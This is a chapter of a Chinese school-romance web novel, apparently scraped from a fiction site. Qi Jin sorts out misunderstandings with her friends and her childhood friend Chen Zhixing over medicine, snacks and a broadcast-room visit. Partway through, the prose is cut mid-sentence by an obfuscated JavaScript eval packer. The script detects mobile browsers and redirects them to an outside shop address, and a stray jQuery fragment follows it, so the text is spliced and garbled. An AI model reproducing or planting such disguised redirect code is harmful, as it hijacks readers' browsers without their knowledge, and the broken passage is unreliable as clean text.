文趣网 > 其他小说 > 拧巴小姐与毒舌先生 > 18. “你必须得给我个说法”
    她转头看向刚上完体育课回来的丛曼。丛曼正仰头大口灌着矿泉水,来不及开口搭话,只抬眼扫了一眼祁今手里那瓶红花油。

    “你买药啦?刚我和阮凌音还去老徐抽屉翻了一瓶,特意给你拿过来的。”

    话音落下,丛曼伸手从裤兜里摸出一瓶一模一样的红花油,“啪”地轻拍在桌面上。

    祁今看着桌上并排摆着的两瓶药,心底暗自犯起嘀咕。不是丛曼,也不是阮凌音。脑海里瞬间闪过走廊上陈枳行那副带着戏谑的神情。难道…他刚才是来送药的?

    丛曼挥了挥手,打断了走神的祁今:“你发什么呆呢?脚怎么样了?”

    祁今声音怯怯的:“消差不多了,只是这瓶…也不是我买的。”

    丛曼闻言一怔,猛地拍手,立刻恍然大悟:“别想了,肯定是陈枳行!”

    她顺势往桌边靠了靠,跟祁今一板一眼地分析:“我跟阮凌音从医务室出来的时候,本来打算回班里拿超市卡去小卖部给你买点零食补补。结果刚走到咱们班后门,就撞见陈枳行从咱班里走出来。我觉得奇怪问他在这儿干嘛,他说什么上厕所没纸,随手来班里拿点。这什么狗屁理由,我当时就觉得不对!”

    说着,丛曼指了指那瓶红花油。

    “这这这,这不就对起来了!不过话说回来,陈枳行是怎么知道你摔的?”

    祁今指尖轻轻摩挲着冰凉的药瓶身,积攒多日的烦闷与委屈终于忍不住翻涌上来,她垂着眼,声音轻缓又酸涩。

    她慢慢将前因后果娓娓道来。丛曼听完瞬间了然祁今的所有拧巴与别扭。

    丛曼迟疑着开口:“所以…你认为陈枳行疏远你是为了音姐?”

    祁今耸耸肩装作无所谓的样子,随手整理着桌上散乱的练习册。

    她语气轻飘飘的,像在随口调侃别人的故事。“他从小就这样,遇见漂亮小姑娘就六亲不认。”

    丛曼皱着眉仍旧觉得不对劲,托着下巴认真复盘。

    “祁总,你先别盖棺定论,我觉得以陈枳行的个性就算要疏远你也不至于一刀两断吧?会不会还有别的原因?”

    祁今翻书的动作微微一顿,垂着眼睫,掩住眼底的茫然。

    她何尝没有疑惑,没有试图为他辩解。可今天周心瑜的事情发生得太巧妙,如果说此前祁今自己敏感多疑,那今天陈枳行的态度碾碎了祁今对他的所有另外的设想。

    “不然还能因为什么?”祁今扯了扯唇角,笑意寡淡,“他对周心瑜的态度都比对我好,如果不是音姐,也可能是别的女生。”

    “你们见过谁让喜欢的女生送别人零食?”

    两人正低声聊着,教室过道传来轻盈的脚步声。

    阮凌音提着满满一大袋各式各样的零食,牛奶、面包、辣条,薯片整齐满满一袋。她缓步走了过来,恰好将两人最后的对话听得一清二楚。

    她脚步微顿,脸上带着些许无奈的笑意,连忙上前轻声开口避嫌解释:“给你的,某位热心的雷锋怕你饿着。”

    阮凌音将零食轻轻摊放在祁今桌面上,转头认真看着两人。说着话还不忘怼了下祁今的脑袋。

    “我说祁总,你天天脑子里想些什么呢?这锅我可不背啊。之前陈枳行频繁找我,是他提前得知广播站定选的初步名单。知道祁总您落选,想拉着我一起去给你求情。我俩前脚刚要去,你后脚就说你进广播站了。我俩也没帮上忙。”

    祁今被她轻轻怼得偏过头,耳根悄悄泛起一层浅红,心底积压多日的郁结瞬间松动一角,怔怔地看着她。

    丛曼调侃着祁今,脱口而出一句:“想不到这小子还挺关注你呢,买得零食也比我俩买得多。”

    阮凌音无奈点头,指尖轻轻敲了敲桌上的零食袋。

    “你现在该担心的不是你和陈枳行的误会,是你和迟叙的绯闻。”

    祁今整个人僵在座位上,手里的练习册悄然滑落一角,轻飘飘磕在桌面,发出细碎的声响。

    “我和迟叙学长?我们没什么啊。”

    祁今下意识出声辩解,语气带着几分茫然无措,全然不知道什么时候凭空多出来的绯闻。

    阮凌音看着她一脸懵懂的样子,忍不住弯眼轻笑,干脆俯身撑在她课桌边,摆明了一副要八卦到底的模样。她压低声音,慢悠悠细数:“刚刚医务室可就你们两个人,下课专门扶你回教室,好多人都看见了。现在连隔壁班都在传呢。”

    丛曼瞬间来了兴致,凑过来连连点头附和:“我想起来了,他之前还给送过笔记是不是!”

    阮凌音和丛曼饶有兴致地盯着她,两人一唱一和,打趣的话语此起彼伏。

    祁今听得脸颊发烫,耳根彻底红透了,心底乱糟糟的。她压根没想过这些,从头到尾,她只是单纯接受了学长善意的帮忙,干干净净的同学情谊。

    祁今看样子挡不住二人的穷追猛打,干脆伸手捞过桌角的广播站稿件,哗啦啦翻开,低头埋首纸面。

    “金秋送爽,风拂绿茵;少年逐光,热血昂扬。在这…”

    “在这满载朝气与希望的秋日,我们相聚操场,奔赴一场属于青春的运动盛会。尊敬的各位领导老师,亲爱的同学们:大家上午好!驰骋赛场不负韶华,奋勇拼搏绽放锋芒。为丰富校园文化、强健体魄、磨砺意志,展现我校学子积极向上、奋勇争先的精神风貌,我校秋季运动会如期拉开帷幕。现在,我宣布:华城二中学校秋季运动会开幕式,正式开始!请运动员做好准备等候检录。”

    广播室内,祁今按下外放按钮,长舒一口气。心里紧绷的心弦稍稍放松。

    身旁的向喃之看着她,抬手轻轻拍了拍她的肩膀,眉眼带着赞许的笑意。

    “不错啊,看样子私下没少花功夫,连播音腔都练出来了。”

    祁今靠着椅背稍作喘息,听见向喃之打趣自己,才伸手抚平手里微微褶皱的稿件。

    “这才万里长征第一步,接下来还有一天呢。”

    向喃之笑着拿起桌上的水杯,熟门熟路走到饮水机旁接温水,随口问道:“张鹏呢?等下他要和你搭档的。”

    “去吃早饭了。听说今天食堂有汉堡。”

    向喃之眼睛一亮,瞬间动了心思,接水的动作都快了几分:“那我也得去碰碰运气,晚了估计就抢空了!你先在这儿守着,我快去快回。”

    不等祁今应声,向喃之揣好水杯,脚步轻快地匆匆离开了广播室。

    厚重的木门轻轻合上,彻底隔绝了走廊的动静。偌大的广播室瞬间安静下来,只剩下设备微弱的低鸣,和窗外偶尔掠过的风声。

    祁今独自坐在播音台前,低头整理着手头

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939225|213833||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的稿件,指尖逐行核对文字,难得有片刻清净。没安静多久,虚掩的房门被人轻轻推开一道缝隙。

    陈枳行径直走到祁今桌前,将还冒着热气的饭盒轻轻放下。碗里是炖得软烂的蹄花汤,汤色清亮温润,飘着淡淡的药膳清香,温度刚刚好。

    陈枳行视线快速扫过她依旧微肿的脚踝,依旧带着惯有的别扭冷淡。

    “我妈进不来学校,早上特意送的。你趁热喝。”

    祁今凑近闻闻,终究没挡住诱惑随即拿起勺子就自顾自地喝起来。软糯的猪蹄炖得脱骨,汤汁温润不油腻。

    “林姨的手艺确实不错,替我谢谢林姨啦。”

    陈枳行原本已经转身准备离开,听到这句道谢,他脚步倏然顿住,沉默几秒后拉开广播室对面的椅子,径直坐下。

    少年手肘抵着桌面,漆黑的眸子直直盯着她。不说话也不走,目光虽然带着极强的压迫感但配上他的表情又让祁今觉得好笑。

    狭小安静的广播室瞬间气氛凝滞。祁今握着勺子的手微微一顿,被他突如其来的举动盯得心头发慌,莫名有些慌张。

    她抬眸看他,小心翼翼开口:“还不走啊?我等下喝完会把饭盒洗干净给你送回去的。”

    陈枳行薄唇紧抿,沉默半晌,终于开口,嗓音低沉带着一点不易察觉的闷气。

    “不是祁今你有没有良心?我好歹也给你打了一星期的饭吧,你怎么对我一句谢谢没有?”

    祁今一愣,勺子悬在汤碗上空,茫然看着他。

    “哥哥,要不是你,我也不会瘸一个星期连上厕所都费劲。”

    说着,祁今放下汤勺,将手伸到陈枳行面前,指着掌心硬币大小的伤口开始诉苦:“这是会留疤的!我都没找你算账你还好意思让我谢谢你。”

    陈枳行望着她眼底的不服又气又无奈,“你说你长这么小横在前面谁能看见啊?还学人家拔刀相助,给你撞飞都是轻的。”

    这话听得祁今瞬间炸毛,脸颊涨得微红,随手抓起手边摊开的广播稿件,抬手就朝着陈枳行扔了过去。

    “说谁小呢!会不会说话!”

    一叠纸页哗啦散开,几张稿子轻飘飘落在他肩头,又滑落到桌面上。

    陈枳行抬手挡了一下,纸张簌簌落在桌沿。他一张张捡起来后,看着气鼓鼓的祁今,眼底那点无奈慢慢沉淀下来,神色认真了几分。

    “行,受伤的事怨我。我给你买药了吧,给你买零食打饭赔礼道歉了吧。”他往前倾了倾身子,目光牢牢落在她脸上,语气带着几分较真,“那误会我和阮凌音的事,总得说道说道。”

    “祁今啊祁今,哥在你心里就这么见色忘友?”陈枳行指尖轻轻叩了叩桌面,声音压得低,却字字清晰。“你必须得给我个说法!”

    广播室里安安静静,只有窗外操场隐约传来的喧闹,衬得两人之间的气氛格外清晰。

    祁今抿紧嘴唇,指尖不自觉攥住衣角,方才的气焰消下去大半,心里又别扭又理亏。

    “阴晴不定的癞皮狗。”她小声蛐蛐。

    “你说谁呢?谁癞皮狗!我还没说那个真正见色忘友的家伙,说着在学校不想跟我传绯闻特意躲着我,转头就跟才子在走廊相会。”

    陈枳行抬眼看向她,眼底带着一丝执拗,“祁今你挺双标啊!”